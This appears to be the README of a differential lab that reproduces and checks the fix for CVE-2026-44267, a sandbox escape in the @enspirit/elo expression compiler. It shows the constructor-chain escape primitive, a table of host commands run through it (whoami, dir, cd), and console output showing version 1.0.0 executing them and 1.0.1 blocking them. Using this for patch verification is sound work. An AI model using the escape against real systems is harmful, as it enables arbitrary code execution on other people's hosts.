
Differential reproduction and verification harness for CVE-2026-44267, a JavaScript sandbox escape and OS command execution flaw in @enspirit/elo, comparing vulnerable 1.0.0 with patched 1.0.1.
Comprehensive research, vulnerability reproduction, and differential validation suite for CVE-2026-44267 (GHSA-33r5-xmm8-v6x5) β critical JavaScript sandbox escape and host code execution in @enspirit/elo.
Features a standalone differential auditing and verification engine (cve_2026_44267_lab.js) comparing vulnerable v1.0.0 against patched v1.0.1 across JavaScript constructor-chain sandbox escaping and local OS execution boundaries with machine-readable JSON evidence generation.
Isolation warning: The script installs the two npm versions into separate temporary directories, but temporary directories are not security sandboxes. Both test processes can access the host OS. Run this lab only inside a disposable, low-privilege VM or container. Do not run it on your main workstation or production systems.
CVE-2026-44267 (GHSA-33r5-xmm8-v6x5) is a critical Remote Code Execution vulnerability in @enspirit/elo β an expression language engine designed to compile untrusted domain expressions into JavaScript, Ruby, Python, and PostgreSQL.
In versions prior to 1.0.1, the AST transformation and JavaScript compiler failed to restrict JavaScript meta-property lookups on plain objects. Untrusted expressions evaluating property accesses like .constructor or .prototype allowed expressions to escape Elo's isolated expression scope, instantiate JavaScript's top-level Function constructor, access Node.js runtime globals (process), and execute arbitrary operating system commands via child_process.
| Vulnerability Metric | Technical Specification |
|---|---|
| CVE Identifier | CVE-2026-44267 |
| GitHub Advisory | GHSA-33r5-xmm8-v6x5 |
| CVSS v3.1 Score | 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Common Weakness | CWE-94 (Improper Control of Generation of Code / Code Injection) |
| Vulnerable Package | @enspirit/elo version 1.0.0 (and prior releases) |
| Patched Package | @enspirit/elo version 1.0.1 (and newer) |
| Primary Entry Points | elo.compile(expr), elo.defaultFormats.elo.parse(expr), CLI elo -e |
| Upstream Credit | Reported by ultra-supara |
The committed JSON evidence reports a PASS from a local Windows/Node.js v22.16.0 run; it is a recorded lab result, not an independent retest. The included verification engine executes automated regression tests in separate temporary install directories across both versions (not OS isolation), comparing benign syntax, JavaScript sandbox escape primitives, and host OS commands:
| Stage / Test Vector | Input Expression / Command | Vulnerable (@enspirit/[email protected]) | Patched (@enspirit/[email protected]) | Status |
|---|---|---|---|---|
| Baseline Arithmetic | 2 + 3 | β
ACCEPTED (5) | β
ACCEPTED (5) | PASS |
| Sandbox Escape Primitive | ({}).constructor.constructor('return 6 * 7')() | π₯ EXECUTED (42) | π‘οΈ BLOCKED (Forbidden Member) | PASS |
| OS: Working Directory | pwd / cd | π₯ EXECUTED (Workspace path) | π‘οΈ BLOCKED (Forbidden Member) | PASS |
| OS: Identity Check | whoami | π₯ EXECUTED (Process user) | π‘οΈ BLOCKED (Forbidden Member) | PASS |
| OS: Directory Listing | ls -1 / dir /b | π₯ EXECUTED (lab_marker.txt) | π‘οΈ BLOCKED (Forbidden Member) | PASS |
| OS: Subdir Traversal | cd proof_dir && cd | π₯ EXECUTED (Subdir path) | π‘οΈ BLOCKED (Forbidden Member) | PASS |
The example below replaces the host username and absolute temporary paths with placeholders. The local console still prints raw command output; avoid publishing screenshots or terminal transcripts containing private paths.
[+] Installing @enspirit/[email protected] in an isolated temporary directory...
[+] Testing vulnerable (1.0.0): sandbox escape + fixed OS commands...
Constructor-chain proof => EXECUTED (returned 42)
cd => EXECUTED
<LAB_WORKSPACE>
whoami => EXECUTED
<LOCAL_USER>
dir /b => EXECUTED
lab_marker.txt
proof_dir
cd proof_dir && cd => EXECUTED
<LAB_WORKSPACE>\proof_dir
[+] Installing @enspirit/[email protected] in an isolated temporary directory...
[+] Testing patched (1.0.1): sandbox escape + fixed OS commands...
Constructor-chain proof => REJECTED (Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property.)
cd => BLOCKED
Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property.
whoami => BLOCKED
Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property.
dir /b => BLOCKED
Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property.
cd proof_dir && cd => BLOCKED
Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property.
[+] Evidence: C:\Users\<LOCAL_USER>\Desktop\Internships\Deltaware_Solution\CVE-2026-44267\cve_2026_44267_evidence.json
[+] Verdict: PASS
{
"baselinesPass": true,
"sandboxEscapeReproduced": true,
"sandboxEscapeBlockedByPatch": true,
"osExecutionReproduced": true,
"osExecutionBlockedByPatch": true
}
Elo evaluates expressions by parsing source text into an Abstract Syntax Tree (AST), converting the AST into an Intermediate Representation (IR) via transform(), and emitting native JavaScript:
[Elo Expression] ββ> parse() ββ> [AST] ββ> transform() ββ> [IR] ββ> compileToJavaScript() ββ> new Function()
The emitted JavaScript string is wrapped in a dynamic function constructor:
const factory = new Function('DateTime', 'Duration', 'Interval', `return ${jsCode};`);
return factory(...deps);
In JavaScript runtimes, all plain object literals ({}) inherit from Object.prototype. The .constructor property of any object references its constructor function (Object). In turn, Object.constructor references the global Function constructor:
({}).constructor // => [Function: Object]
({}).constructor.constructor // => [Function: Function]